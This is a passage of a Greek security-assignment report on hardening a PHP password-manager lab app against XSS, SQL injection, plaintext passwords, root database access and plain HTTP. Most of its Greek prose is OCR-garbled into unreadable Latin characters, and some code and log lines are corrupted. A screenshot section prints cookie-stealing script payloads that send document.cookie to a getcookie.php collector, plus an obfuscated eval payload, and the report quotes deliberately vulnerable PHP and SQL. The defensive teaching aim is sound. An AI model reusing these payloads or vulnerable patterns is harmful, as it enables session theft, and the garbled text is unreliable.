(') Emavayonoyiomoinon  tov  xleupuévov  PHPSESSID  péow (B") IHpdopaon oo dashboard.php petd tny emavayonoyomoinon
usecookie.php. oV session cookie.

YxAue 11: Session hijacking demonstration.

5.5.1.  Thomoinon tng dopdwonc

H du6pdwon mpaypatonotidnxe ue ehdylotn alhayn cto notes.php, oto onuelo TeoBoAAC TV ONUELOCEWY. Lu-
YHEXQUIEVAL, TIOLY TNV EXTUTIWOT] TOU TIERLEYOUEVOU, EQapUOcTNXe htmlspecialchars () ye emhoyég ENT_QUOTES
xa UTF-8, étol o te va yiveton ao@airic anddoor twv dedopévwy oto HTML. To Anéonacua mapoxdte mo-
pouoldlel Tov dlopdwuévo XMoo

// Escape output to prevent stored XSS (DB content must be treated as untrusted).
$safe_note = htmlspecialchars($row["note"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
$safe_user = htmlspecialchars($row["username"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");

echo "<div class='note-content'>" . $safe_note . "</div>";

echo "<div class='note-signature'> by $safe_user . "</div>";

5.5.2.  EmaAfpdeuvorn tne diéptwong

Metd v epopuoyr Tou output encoding, to ¥orn amodnxevpéva payloads otn Bdon dev amouteitan var dlo-
yeaoLyv. Avtideta, mpofdhhovian w¢ amhd xelyevo, 6mwg @aiveton oty Ewdva 12, 6mou ou cuyforooeipég
<script>...</script> eugaviCovron ywels vo extelolvTa.

Emniéov, n anovcio extéreong emBefoncyvetan xou amd Tologs Tou web server: eved xatorypdpovTon aTHUNTO TROS
notes.php, dev xotorypdpovion ThAéov awthuata Tpoc /passman/zss/getcookie.php (Snhadt dev mparypotonoteiton
cookie exfiltration), 6nwe gaivetar oty Ewdva 13.

Yuvenng, N epapuoyy| contert-aware output encoding oto onueio TpoBolfc e€ahelpel TNV exTéAeon amoUnxeu-
uévwyv XSS payloads oto cuyxexpévo context, SLaTne®VTIC AUETIBANTY TN AELTOURYIXOTNTA TNG EQPUPUOYTS.

5.6. Emnéxtoorn tng avtiyetodmong XSS ota emnAéov onueio

H eundieio Stored XSS nou nopoucldotnxe Yéow tng AelToupyiog ONUEWMOE®Y OEV AMOTEAE! UELOVWUEVO TIEQL-
OTATINO, OAAG EVOEIXTING EVOG YEVIXOTEROU TEOYROUHUATIO TX0) HoTIBoU 6 TNV eqopuoyy|. Acdouéva npoepydueva
and ypnoteg ¥ and TN Bdon dedopévwy npoBdihovtay ancudeloc oo HTML ywels xatddAnin xwdixoroinon
e€6dou. I'ot Tov Aoyo autd mpayuatonoiinxe extevéoTeRY, AVAAUGY Xou EVIOTCTNXAY ETTAEOV ornuelor Ue
duvnTixh N dueon eundieia oe XSS.
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@ Notes- Comments x

< C [ @ localhost/passman/notes.php

List of notes/comments

test1

by ut

<script>fetch("http:/localhost/passman/xss/getcookie.php?
v=${document.cookie} )</script>

by ut

<script>eval("u0061u006cu0065u0072u0074(u0022u0058u0053u00531
</script>

by ut

<script>fetch("http:/localhost/passman/xss/getcookie.php?
v=${document.cookie} )</script>

by uf
Enter your note:

EyxAre 12: Metd ) 8ibgdwon: ta XSS payloads supaviCovrar we amAd xejuevo (Sev extelelrar JavaScript).

- [11/Jan/2026:13:20:00 +0000] "GET /passman/dashboard.php HTTP/1.1" 200 1040 "http://localhost/passman/notes.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
Chrome/143.0.0 /537.36"
- [11/ +0000] "GET /passman/notes.php HTTP/1.1" 200 1364 "http://localhost/passman/dashboard.php” "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
172.18.0.1 - - [11/Jan/2026:13:25:54 +0000] "POST /passman/notes.php HTTP/1.1" 302 372 "http://localhost/passman/notes.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM
) Chrome/143.0.0.0 Safari/537 "
1 - - [11/Jan/2026:13: "GET /passman/notes.php HTTP/1.1" 200 1366 "http://localhost/passman/notes.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM

.0.
L, like Gecko) Chrome/143.0.0.0 Safari/537.36"

Yy 13: Merd w Sibpdwon: xarayodgovrar udvo awcnuara mpos notes.php xar amovoidlovy ta airnuara mwEOS
/passman/xss/getcookie.php.

5.6.1.  Eugdvion dwmioteutnplwy wotoceMdwv (dashboard.php)

Y7o dashboard.php, to nedlo web url, web_username xou web_ password mpogpyoviol and BedOUEVA TOU ELGG-
yovTow and Tov yeho T, anovnxebovion oty Bdon dedouévey xou ot cuvéyel eupavilovion oTn Slemapn. XTny
apy x| vhomoinom, o dedopéva autd teofdiiovTay arevdelag, OTwe QalveTon e8:

// Vulnerable output: database-backed user input rendered without escaping.

echo "<td>" . $row["web_url"] . "</td>";
echo "<td>" . $row["web_username"] . "</td>";
echo "<td>" . $row["web_password"] . "</td>";

H npaxtinf) auth emitpéner v anodixeuon xou extéleon xaxdBourou HTML ¥ JavaScript xdwo (Stored
XS8), pe extéheon tou payload xdlde @opd mou mpoBdhheton 1 oeAido. H avtipetdnion mpaypatonoidnxe ue
eQapuoYY| contest-aware output encoding oe Ol Tow avticTolyo medlo.

5.6.2. Eugdvion ovopatog yphot and session (dashboard.php)

Yy (Bl oehida, to Gvouo tou cuvdedeuévou yenoTtn eugovilotav cto header tng oeildac. H Ty auty
Tpoépyetan amd session PETOBANTH xou o TNV apyixY) Lhonoinan eppavilotay ywel xwdxonoinon e€ddou, dnwe
palveTon €60

// Vulnerable output: session-derived value treated as trusted.
echo "<h3>Entries of " . $username . "</h3>";

ITapoT Tar session dedouévo cuy Ve YewpolvTon EUmoTa, TNV TEddn urtopoly vo ahhoiwdolv ot cevdpio XSS,

session hijacking 1| cookie tampering. H cuyxexpiévn neplntworn anoteel yapaxtneio Tixd nopddelyua second-
order XSS. H avtiuetonion Baciotnxe otny xwdxomolinoy g TWAS eV TNV ERQAVION TNG.
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5.6.3. Reflected XSS oe unvipota o@dhuatoc (login.php, register.php)

Kotd v avdiuor e€etdotnxe xou 1 TERIMTOON EUPAVIONS UNVUUATOV CQIAUATOS TR0 TOV YeNo TN. Lo apyeia
login.php xau register.php to unvopato autd eugaviCovton Ye yenomn UETUBANTAC, OTWS ToEOXATwW:

// Display login or registration status message.
echo "<p>" . $login_message . "</p>";

Yty napoloa vhoroinom, ol HeTUBANTES auTES AauBdvouy Hovo o TaTixéC GUUSBONOCELRES XAl BEV EVOWUATOVOUY
dedouéva eloddoL yenoTN. £2¢ ex TodToL, BeV elvon TEoxTXd expeTalheloes Yo Reflected XSS otnv teéyovoa
nopgy| tng epapuoyhc. o Tov Adyo autd, dev mpayuatomoiinxe mepantépw EXPETIAAEUTT), aAAd To onueio
AATOYPAPETAU WG VEWENTIXO GEVAELO TOU Vol AMUUTOUCE AVTIUETWTIOT OE UEAAOVTLXY| ETEXTACT) TNG EQPOOUOYTG.
O avayveotng pnopel €66 va Bpet o branch pe dheg tic ahhayéc.

6. ATOOHKEYIH KQAIKON ATOENTIKOIIOIHZHY SE ATIAO KEIMENO

H eqopuoyt, oty oy tng vhonoinon, doyeiptlotay toug xmwdole avdeviixotonone twv yenotwy (login
passwords) w¢ anhd xelyevo (plaintext). To medPinuo autd eupavileton oe neplocdTERY TOL EVOC ONUEla TNG
epoppoYTic:

1. ITtvaxag Bdong dedowévwy login_users: O xwodixol mpdoBaone anodnxedoviay autodolol o1
Bdon dedouévwy, yeyovog mou umopel vo emBeBawiel ye anevdelac epcdytnuo SQL.

2. Awalduxooio eyyeaphc xero Ty (register.php): O xwdxdc nou elodyeton and tov yeNoTn ano-
Onxevdtay ot Bdon ywelc xopio popeh yetaoynuatiopol (hashing).

3. Awadixacio cOvdeong xeRotn (login.php): H avdeviixonoinon mpoypatonoodviay ye dueon
oUYXELOT TOU XWOXO) TOU ELCAYEL O YPNOTNG ME TOV AmOUNXEVUEVO XxwdLXO, Uéow tne SQL evtolrc
WHERE username = 7 AND password = 7.

4. Ano9fxevon xwdix®Vv Teitwy 1oTtooceAidwy (dashboard.php): O xwdxol tpboBaonc otooe-
ABwv amodnxedovian xan eugavilovton enlong we anhd xetyevo. To cuyxexpiévo (htnua avohbetan Ee-
XWeLoTd oe enduevn evotnta, xadde anoutel Siapopetint tpocéyyion (xpuntoypdpnon avti yio hashing).

6.1. Emrntdoeic ao@dhelog xol oeVApLa EXUETIANEUCTC

H anodfixevon xwdixdv avdeviixonoinone oe anhd xelpevo auidvel dpopatixd Tov avTixTumo omolcdhtote
Tapoflaong g Bdong dedopévwy. e meplntwon mou évag emtiéuevog anoxtroel npdoBacn avdyvwong o
Bdom (m.y. uéow SQL Injection, diapporic backup # eopolyévev Sixouwudtwy), Utopel va ovaxthoel Guec
OhOUC TOUC XWBWOUE YeNoTOV Ywelc xaula emnAéov Tpoondlela.

Emuniéov, eneidr) n audevtixomoinon Bacildtay oe olyxpion plaintext tiumv evtog tne SQL eviolrc, 1 duappon
Tou mivoxa login_users odnyel dueca oe mhYen napaiaon AWV TwV AOYARLACUMY, Ywelg Vo aratTteltan oTdoulo
(cracking) xwdixwv 1 hashes.

6.2. Eudhwtn viornolnon

Ly apyi vhononan, 1 odyxplon Tou xwdwo TpayuatonooLvTay anculelac péoo ot SQL eviolr avde-
vTixonoinong.

$sql_query = "SELECT * FROM login_users WHERE username='{$username}'
AND password='{$password}';";
$result = $conn->query($sql_query);

if (lempty($result) && $result->num_rows >= 1) {
$_SESSION['username'] = $username;

12
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$_SESSION['loggedin'] = true;
/...

AvtioTowya, xatd Ty €Yyt VEOU YpNo Ty, 0 Xwdxog ano¥nxeLdTaY aUTOVCLOE GTN BAoT BEBOUEVKY.

$sql_query = "INSERT INTO login_users (username,password) VALUES
('{$new_username}', '{$new_password}');";
$result = $conn->query($sql_query);

H anodrxeuon tou xwdixol oe anhd xelyevo elvon dueca opaty xar 6To TEPIEYOUEVO TNG Bdone dedouévmy,
OTWS PAVETAL GTO AVTIGTOLYO G TIYWOTUTIO 0VOVNG.

Database changed

MariaDB [pwd _mgr]> SELECT id, username, password FROM login_users;
R R R +

| id | username | password |

1 row in set (0.001 sec)

MariaDB [pwd_mgr]= D

Sy 14: Kwdieol yonotwy o amdo xeiuevo.

6.3. IlpocEyylon avTWETOTLONG

[ v aoahy) Swoyelpion xwdxov avdevtixomoinong, ol xwdxol dev Tpénel moTté va anodnxedovion o amAod
xelpevo. H xahepwuévn mpoxtiny etvou:

e yprom cuvapTthoewy hashing ye evowyoatwuévo salt xatd tnv eyypagpy,
e cnoArfieuon Tou xwoxol xatd TN oOvdeon péow cUyxpetong hash xou oyt yéow SQL.

Yy napodoa epyacio yenotlonoodvtol ol cuvopTthoelc password_hash () xot password_verify () tnc PHP,
oL ontoleg Yewpolvton BENTIO TN TEaxTixy) Yiot TV amoUAUEUTT] XWXV,

6.4.  Awopdwuévn vionoinon

Y1 Swoptwuévn vhonolnom ol xwdixol TAéov dev elodyovion 61N Bdon autolotol, dAAd TEEVOUY TEMOTA ATO:
$password_hash = password_hash($new_password, PASSWORD_DEFAULT);

Ouolwe xatd To login, 1 emahdeuon yiveton pe tnyv:

password_verify($password, $stored_hash);

6.5. Amoutolyeveg odhayéc nepBdlhovtog xou Bdong dedouévewv

Metd v odhayn) Tou unyaviouol auvdeviixonoinong, ot Non anodnxeupévol plaintext xwdixol TpEnel Vo avTixo-
T tadoly and hashes. I'ot tov npo-eyxateotnuévo yehot doxuuoy (ul/pl), n ddacio mpoypatotoiinxe
yewoxivnta ato nepBdriov Docker, we e€r¢:

Apywxd dnulovpyrioaue éva hashed xwdxd yia tov undpyov yeno:

13
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$ docker compose exec web bash
root@ee33aeda3931:/var/www/html# php -r \

'echo password_hash("pl", PASSWORD_DEFAULT), PHP_EOL;'
$2y$10$L18ub/PyVkDgsce/DsUOQuOsKhTzh854Euhog3cVb1W4YAf gRZzY8W
root@ee33aeda3931:/var/www/html#
exit

‘Eneita oldEaue TV xwdixd yewpoxivnta ot Bdon:

MariaDB [pwd_mgr]> SELECT * FROM login_users;
R T ——— +
| id | username | password |

MariaDB [pwd_mgr]> UPDATE login_users
> SET password = '$2y$10$L18ub/PyVkDgsce/DsU0QuOsKhTzh854Euhog3cVb1W4YAfgRZzY8W'
> WHERE username='ul';

MariaDB [pwd_mgr]> SELECT * FROM login_users;

Fommmtommm oo o +
| id | username | password

Fommmommm oo o +
| 1] ut | $2y$10$L18ub/PyVkDgsce/DsU0QuOsKhTzh854Euhog3cVb1WAYAfgRZzY8W |
Fomm oo o o +

H nopandve Swdixacta emBefoucdvel Ty emtuyy) avixatdotacn tou plaintext xwdixol pe ac@oréc hash,
draopoiilovtag ) cupBatotnta tng Bdone dedopévwy pe T véa uhonoinom audeviixomoinone.

Télog evnuepwooue Tov (610 xwdd xaL oTo apyeio apyxomoinong tne Bdong otov container.

@ Dashboard x

< C [l @ localhost/passman/dashboard.php
Entries of ul

www.lest.com

Username: tom Password: tompass

‘ Delete

Password

| Insert new website
Notes - announcements
Logout

Home page

YxAve 15: Emrvyne ovwdeon yonorn uetd tny arlayn xwdiov.

Yy Ewova 15 galvetar 1 emituyc oLVOEST) Tou UTdEY OV YeNo TN HETA TNV ahhayn) Tou xwdxol atny Bdon.
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7. XPHSH AIAIISTEYTHPION AIAXEIPISTH (root)

‘Evo emmiéov onuavtixd mpdfinuo ac@dielog tne e@apuoyhc elvar otL 1 oOvdeon mpog T Bdor dedopévnv
Tpaypatonolelton e oo teuthplar Sayetplo T (administrator credentials, yphotne root). H mpoxtixd auth
nopaBidler T Geuehiddn ey tou least privilege (ehdyiota amopaitnTa TEOVOULR), BL6TL OTOOGOHTOTE EmLTLdé-
pevog anoxthoet duvatdtnta extéleonse SQL evtohdv (m.y. uéow SQL injection 7 péow npbofBaonc o Bdon)
dev meploplleTon amd BLXOULOUATO XOU UTOPEL VO TEOLYUOTOTIOATGEL XATUC TROPIXES EVEPYELES.

To mpéBinua evronileton ota axdhovda ornuelo.

e config.php (defaults oe root). Xto apyelo config.php, ou topduetpol e Bdone daBdlovton and environment
variables, oAhd av Sev umdpyouv Twéc, yiveta fallback oe root/rootpass.

$DB_HOST = getenv('DB_HOST') ?: 'db';
$DB_USER = getenv('DB_USER') 7: 'root';
$DB_PASS = getenv('DB_PASS') ?7: 'rootpass';
$DB_NAME = getenv('DB_NAME') ?7: 'pwd_mgr';

e docker-compose.yml (n web unnpeoia tpéyel we root otn DB). Yto docker-compose.yml ta environment
variables tng web unnpecioc opilovtar pntd we root/rootpass, ondte axdun xou av ahAdlope ubvo To
config.php, 1 epapuoyn Yo cuvéyle vo GUVBEETOL (G TOOt.

services:
web:
environment:
DB_HOST: db
DB_USER: root
DB_PASS: rootpass
DB_NAME: pwd_mgr

e SQL init (dev undpyet dedicated yprotne egapuoyhc). Xto apyeio apyxonoinone 01-create-pwd_mgr-
db-withData.sql dnuiovpyolvtow tables xau demo dedoyévar, duwg dev dnuouvpyeitoan EexwELOTOC YENOTNS
Bdome dedopévwy pe neptoptopéva dixannduata (least privilege).

7.1. Emntoosc ao@dielog

H yperon dwmoteutnplwy doyelptoth onuaiver 6TL o nepintwor nopoflaong:
o civou duvaTh N TARPNG AVAY VW OT OAwY TV dedouévmy (m.y. users, notes, websites),
o civar duvatéc xatac TEoPLxég evépyetleg (DROP, TRUNCATE, polixd DELETE),
o civon mdavh wovipn mopaPioor (m.y. ahhayéc o grants/ypRotec), avdhoya pe ) pOduorn tou DB

server.

Me dhho Moya, axdun xau av dlopdwdodv SQLI oe eninedo xhouxa, 1 yenomn root augdvel onuavtixd to impact
(impact amplification) onowcdfitote enttuyoic enideonc.

7.2.  Avtpetdmnon: least privilege yeriotne Bdone dedouévwv
H avupetdnion Boaoileton otn dnuoupyia evoe dedicated ypriotn epapuoyhc (.. passman_app), 610V 0no{o
EXYWEOLYVTOL UOVO T ATOADTKE amoEa{TNTH SLxaldpaTa 6To schema pwd_mgr.

e AMayt oto SQL init: dSnuovpyia yeriotn xan GRANT. Y10 apycelo 01-create-pwd_ mgr-db-withData.sql
ToL popTwvetal and /docker-entrypoint-initdb.d) mpootédnxay oL mopoxdTey EVIONES:

-- Create a dedtcated DB user for the web application (least privilege).
-- Grant only the required privileges on the application database.
CREATE USER IF NOT EXISTS 'passman_app'@'%' IDENTIFIED BY 'passman_app_pw';
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GRANT SELECT, INSERT, UPDATE, DELETE ON pwd_mgr.* TO 'passman_app'@'%’';
FLUSH PRIVILEGES;

Me autév tOV TEOTO, 1) EQPUQUOYY| UTOREl VO AEITOURYNOEL XUVOVIXA, EVE) TOEUAANAGL OEV ETULTEETOVTOL
emxivouva dixoupato 6nwe DROP, ALTER, CREATE USER, GRANT OPTION.

e ANyt oo docker-compose.yml: web cuvbéeton we passman__app. Xtn cuvéyela, oto docker-compose.yml
alhdyOnxayv ta credentials tng web unneesiog wote va ypnowonoteiton o véog ypnotng:

services:
web:
environment:
DB_HOST: db
DB_USER: passman_app
DB_PASS: passman_app_pw
DB_NAME: pwd_mgr

O yphotne root napopével dradéotpog ubvo yia dayelplotixée epyaoiec oto DB container (administration),
ARG 1) EQUEUOYT BEV TOV YenoLuoToLel TAEOY.

e AMayY oto config.php: acparéotepa defaults / amoguyn fallback oe root. Téhoc, oto config.php apou-
e€dnxe to emxivouvo fallback oe root. Tndpyouv 800 acpakels emAoyég:

— Emhoy® 1 (fail closed): av heinouv env vars, 1 eQapuoY 6 TUUOTIEL UE UAVUUA OQINIATOC.
— EnuhoyH 2 (safe defaults): fallback oe passman_app avti ywx root.
Ytnv nopoloa epyacia axorovdfinxe n safe defaults emhoy:

$DB_HOST = getenv('DB_HOST') ?: 'db';

$DB_USER = getenv('DB_USER') 7: 'passman_app';
$DB_PASS = getenv('DB_PASS') ?7: 'passman_app_pw';
$DB_NAME = getenv('DB_NAME') ?7: 'pwd_mgr';

Me Tic mapamdve aAAaYES, 1 EQUEUOYT AELTOURYEL UE TIEQLOPLOUE VAL DIXOUWUATA G TN B30T BEDOUEVLV, UELDVOVTIG
onuavtixd tov aviixtuno (impact reduction) mdavayv emdéoewv. H npoxtind auth anotehel Baoxd pétpo
defense-in-depth xou evduypauuileton ye Yepuehnddels apyéc secure design.

‘Evo mapddetypo @aiveton oL 0TO GTIYULOTUTO Tapaxdtw, 6mou 1) Bdon anopplntel Tn dlaypapn mivoxa, oTtov
Yo TN passman_ app:

-- § docker compose exzec db mariadb -upassman_app -ppassman_app_pw
Welcome to the MariaDB monitor. Commands end with ; or ig.

Your MariaDB connection id is 5

Server version: 11.8.5-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> DROP TABLE pwd_mgr.login_users;

ERROR 1142 (42000): DROP command denied to user 'passman_app'@'localhost' for

table "pwd_mgr . login_users”
MariaDB [(none)]>
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8. XpuzH HTTP aAnTt HTTPS

H eqapuoyr apywd hettoupyel amoxieictnd uécw tou un aopahols mtentoxoihou HTTP. Onwe avagpépetan
xan oTny expovnon, 1 xerion HTTP emtpénel oe évav emtdéuevo nou mapaxolovdel tnv xivnorn tou dixtbou
(network observer / man-in-the-middle) va urtoxhéer Tic Thnpogopiec mou eupavilovton GToV YEHOTN XU T
dedopéva Tou auTodc anocTEMEL (.. username/password ot forms).

e mpaypatind TEpBAAAOY, auTO onualvel OTL:
e ta credentials uropolv va dwppedoouy oe plaintext,
e 70 session cookie umopel vo unoxianet,

e TO TEPLEYOUEVO OEADBWYV (T.y. amoUnxeupévol xwdixol Lo ToceNBwWY) unopel va avayvwo el and Tpitous.

8.1. IloV euygovileton otnv vhomoinon

Y10 Docker Compose, n web unnpeoia exdétel npog ta é€w wévo v nopta 80 (HTTP), yweic xopio pwoppr
TLS.

services:
web:
build:
ports:
- "80:80"

Emniéov, o710 index.html undpyouv hard-coded olvdeoyol npoc http://localhost/. . ., ol onolol emBaAloLY
™ yenhon HTTP and tov browser.

<a href="http://localhost/passman/login.php">Login Page</a>
<a href="http://localhost/passman/dashboard.php">Dashboard</a>
<a href="http://localhost/passman/notes.php">Notes</a>

8.2. Avtwpetomon

Mo va emiteuyOel aopolic uetagopd dedopévev (transport security), anoutelton 1 yeon HTTPS. Xe nepiBdihov
Docker, évog mpoxtixde xou xadapdc tpémoc elvar va npootedel éva reverse proxy (m.x. Caddy / NGINX)
unpoctd and tov Apache web server. To reverse proxy avohaufdver:

e TLS termination (Swmpayudtevon xpuntoypdpnone),

o autopatn avaxateLduvon ané HTTP o HTTPS,

e pownon (proxying) tne xivnone mpog 1o ecwtepxd container tng eQUPUOYNAS.
Me outh) Vv apyitextovixy, To container web dev extidetaw mA€ov anculeiog mpog Ta €€w. Extidevton
n6vo ol toéptec 80/443 Tou reverse proxy.

8.3. AMayéc oto docker-compose.yml

Agoupédnxe to ports: "80:80" and 1 web unnpeoia xa npootédnxe véo unnpeoia proxy (Caddy) n omola
ex¥étel Tic Yopeg 80 (redirect) xou 443 (HTTPS):

services:
proxy:
image: caddy:2
ports:
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- "80:80"
- "443:443"
volumes:

- ./Caddyfile:/etc/caddy/Caddyfile:ro
- caddy_data:/data
- caddy_config:/config
depends_on:
- web

volumes:
caddy_data:
caddy_config:

8.4. P0Ouion reverse proxy — Caddyfile

Ia yprion oe touxd nepBdrrov (localhost), emhéyVnxe self-signed / internal TLS (t1ls internal). Auté
elvon xotdhinio yio demo/testing, xodde dev amoutel domain name ¥ dnuédoio motonomntixd. To Caddyfile
elvou:

# HTTP site: redirect everything to HTTPS
http://localhost {

redir https://{host}{uri} permanent
}

# HTTPS site

https://localhost {
reverse_proxy web:80
tls internal

# Optional: security headers (defense-in-depth)
header {
X-Content-Type-Options "nosniff"
X-Frame-Options "DENY"
Referrer-Policy "no-referrer"

Ynpeiwon yia totxd niotonowmntixd (browser warning). H yperon tls internal dnwouvpyel self-
signed motonomnTnG, To onolo evoEyeTal Vo TpoxaAécel warning otov browser. To yeyovog autd elvon avope-
vouevo ot tomx6 demo mepl3dhiov xau dev avanpel T Aettoupyia xpumToyEdgNoNg. e TapAYWYO TEPU3EAAOY
Yo ypnotponootvtay €yxupo motonontixd (m.y. uéow Let’s Encrypt) xou domain name.

8.4.1. AMoayéc oto index.html

Mot vo amogeuyVel to hard-coding tou scheme (http://) xou vo hettovpyel owotd t6co oe HITP—HTTPS
redirect 660 xou o pehhovtixd deployment, ol cOvdeopol dAhalay kote va eivan relative URLs:

<a href="/passman/login.php">Login Page</a>

<a href="/passman/dashboard.php">Dashboard</a>
<a href="/passman/notes.php">Notes</a>

18



Acgdheior TTONOYIOTIXWY LUC TNUATWY Epyaocioa E€aurvou

8.5. Emafdeuon
‘Onwg gabveton xan oty Ewodva 16, uetd tig ahharyée, 1 egapuoyt etvan Stodéowun yéow: https://localhost/passman,.
@ Dashboard X

< C [l © Notsecure https//localhost/passman/dashboard.php

Entries of ul

www.test.com
Username: tom Password: tompass

| Detete |

website

ame

Password

Insert new website
Notes - announcements
Logout

Home page

ExApa 16: Aerovgpia péow hittps (xar updvion tov warning).

Emniéov, n mpbéofBaocr oc http://localhost/passman odnyel oe auvtéuatn avoxatebuvon npogc HTTPS,
emPBefoudvovtog 6Tt 1) UETUPORE BEBOUEVKY TROCTATEVETHL OFE ETUTESO DX TUOL.

$ curl -I http://localhost/passman
HTTP/1.1 301 Moved Permanently
Location: https://localhost/passman
Server: Caddy

Date: Sun, 11 Jan 2026 20:01:49 GMT

Me tnv ewoaywy?, reverse proxy xou tnv evepyonoinon HTTPS, yewdveton onuovtixd o xivduvog unoxioning
dedouévnv (eavesdropping) xou emituyydveTon Tpoo tacia 610 eninedo petapopdc (transport layer), evioybovtog
TN CUVOALXY) ACPARELL NG EQURUOYNS.

9. Y TYMIIEPASMATA

Yy napoloa epyacio ueheTHdnxe o oAy SladixTuaxy e@aproyn dlayelptong xwdxwy tpdcouong, e otdyo
TNV AVEBELEN XOU AVTYIETMTLOY XEICHIWY XEVV OCPIAELNS TIOU TEOXVOTTOUY OO U1 ACPUAELS TEOYPUUUNTIO TIXES
mpaxTixéc. H npocéyyion mou axoroudninxe vitav nelpapotin xon Baclouévn o Tpoypatixd oevdpla entdeone.
Apywd evtomiotnxay eundieies dnwe SQL Injection, Stored Cross-Site Scripting, amodrixevon xwdxov oe
anhé xelyevo, yeron damoteutneiwy Sloyelelo T Yo T Bdor Bedouéviy ol anousia XpUTTOYEAPNONS GTO
eninedo petagopdc (HTTP). I xdie mepintomon mopoucldotnxe 0 TeOTOG EXYETIAAEUONS, TEXUNELOUNXOY
Ol ETUTTWOELS XL OTY) CUVEYELX EQUOUOCTNXAY CTOYEUMEVO DLopUWTING UETEA, UE EASYIOTN OAAd OLUCLUG TIXN
ToEEUPUOT) GTOV XWOXA XAl G TN CUVORLXY| OQYLTEXTOVIXT.

Ou dopinoelc VAoroinxay ue Bdorn Veuehddelc apyéc ao@arols oyedlaong, OTWS O Bl WELOUOS BEdOUE-
VoV xou EVIOA®YV (prepared statements), 1 oavtetdmon xdde ewoédov we un éumiotne (output encoding), n
acparic ano¥ixeuon xwdwoy uéow hashing, n apyr| tou least privilege ot duyelpion tng Bdong dedopévnv
xau 1) tpooTacio Tng emxowvwviog péow HTTPS. Idwitepn éugoacrn 66Unxe oyl uoévo ot «016pdwony YEUOVK-
HEVWY GQPUAUETLY, 0ANE xar oTn Uelwon Tou cuvolxol avtixtunou mavey emdécewy (impact reduction),
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uvovetwvrog wa tpocéyyion defense-in-depth. Méoa and tn Swaduacia auth xatéotn cupég 6T ToAAES cofo-
eég eundieleg dev ogelhovton o TOAOTAOXA Gt OARG o anAég mopaleldelc xou haviaouéveg Tapadoyég
XOTE TNV oVETTUEN NG EQOPUOYNS.

Yuvolxd, 1 epyooio avédelle TN onuacio TN ACPIAELS (S AVATOCTOG TO HEPOS TOU GYEDBLAGHOU AOYLIOULXOU XAl
oyt ¢ petayevéotepn npooVfixn. H xatavonomn towv unyaviouny enideong xou 1 eQoppoyn Baoiudy TeaxTixwmy
secure coding emitpénouv 1N dpac iy Behtiwon g ac@dhetag oaxdun xan o aniéc epappoyéc. H euneipla mou
amoxopiotnxe vnoypopuilel 6Tt 1 CLUCTPATIXY OXEPT, 1 COOTH UPYLTEXTOVIXY XU 1N ETY VKON TV XVOUVKVY
elvon xordoploTixol mapdyovTES Yiot TNV avATTUET AELOTUO TV Xl ACPIADY TANROPORLIXDY CUC TNUATWY.

20



	Εισαγωγή
	Παραδοτέα

	Περιγραφή της εφαρμογής
	Περιβάλλον δοκιμών και μεταφορά σε Docker
	Δημιουργία και εκτέλεση της εφαρμογής

	SQL Injection
	Αντιμετώπιση SQL Injection
	Υλοποίηση της διόρθωσης
	Επαλήθευση της διόρθωσης
	Περαιτέρω σημεία ευπάθειας σε SQL Injection
	Εγγραφή νέων χρηστών (register.php)
	Αποθήκευση σημειώσεων (notes.php)
	Διαχείριση διαπιστευτηρίων ιστοσελίδων (dashboard.php)


	Stored XSS
	Root cause στον κώδικα
	Attacker-side υποδομή
	Σενάριο A: Stored XSS με άμεση εξαγωγή cookie
	Σενάριο B: Παραλλαγή payload με obfuscation
	Session hijacking demonstration μέσω usecookie.php

	Αντιμετώπιση Stored XSS στο notes.php
	Υλοποίηση της διόρθωσης
	Επαλήθευση της διόρθωσης

	Επέκταση της αντιμετώπισης XSS στα επιπλέον σημεία
	Εμφάνιση διαπιστευτηρίων ιστοσελίδων (dashboard.php)
	Εμφάνιση ονόματος χρήστη από session (dashboard.php)
	Reflected XSS σε μηνύματα σφάλματος (login.php, register.php)


	Αποθήκευση κωδικών αυθεντικοποίησης σε απλό κείμενο
	Επιπτώσεις ασφάλειας και σενάρια εκμετάλλευσης
	Ευάλωτη υλοποίηση
	Προσέγγιση αντιμετώπισης
	Διορθωμένη υλοποίηση
	Απαιτούμενες αλλαγές περιβάλλοντος και βάσης δεδομένων

	Χρήση διαπιστευτηρίων διαχειριστή (root)
	Επιπτώσεις ασφάλειας
	Αντιμετώπιση: least privilege χρήστης βάσης δεδομένων

	Χρήση HTTP αντί HTTPS
	Πού εμφανίζεται στην υλοποίηση
	Αντιμετώπιση
	Αλλαγές στο docker-compose.yml
	Ρύθμιση reverse proxy – Caddyfile
	Αλλαγές στο index.html

	Επαλήθευση


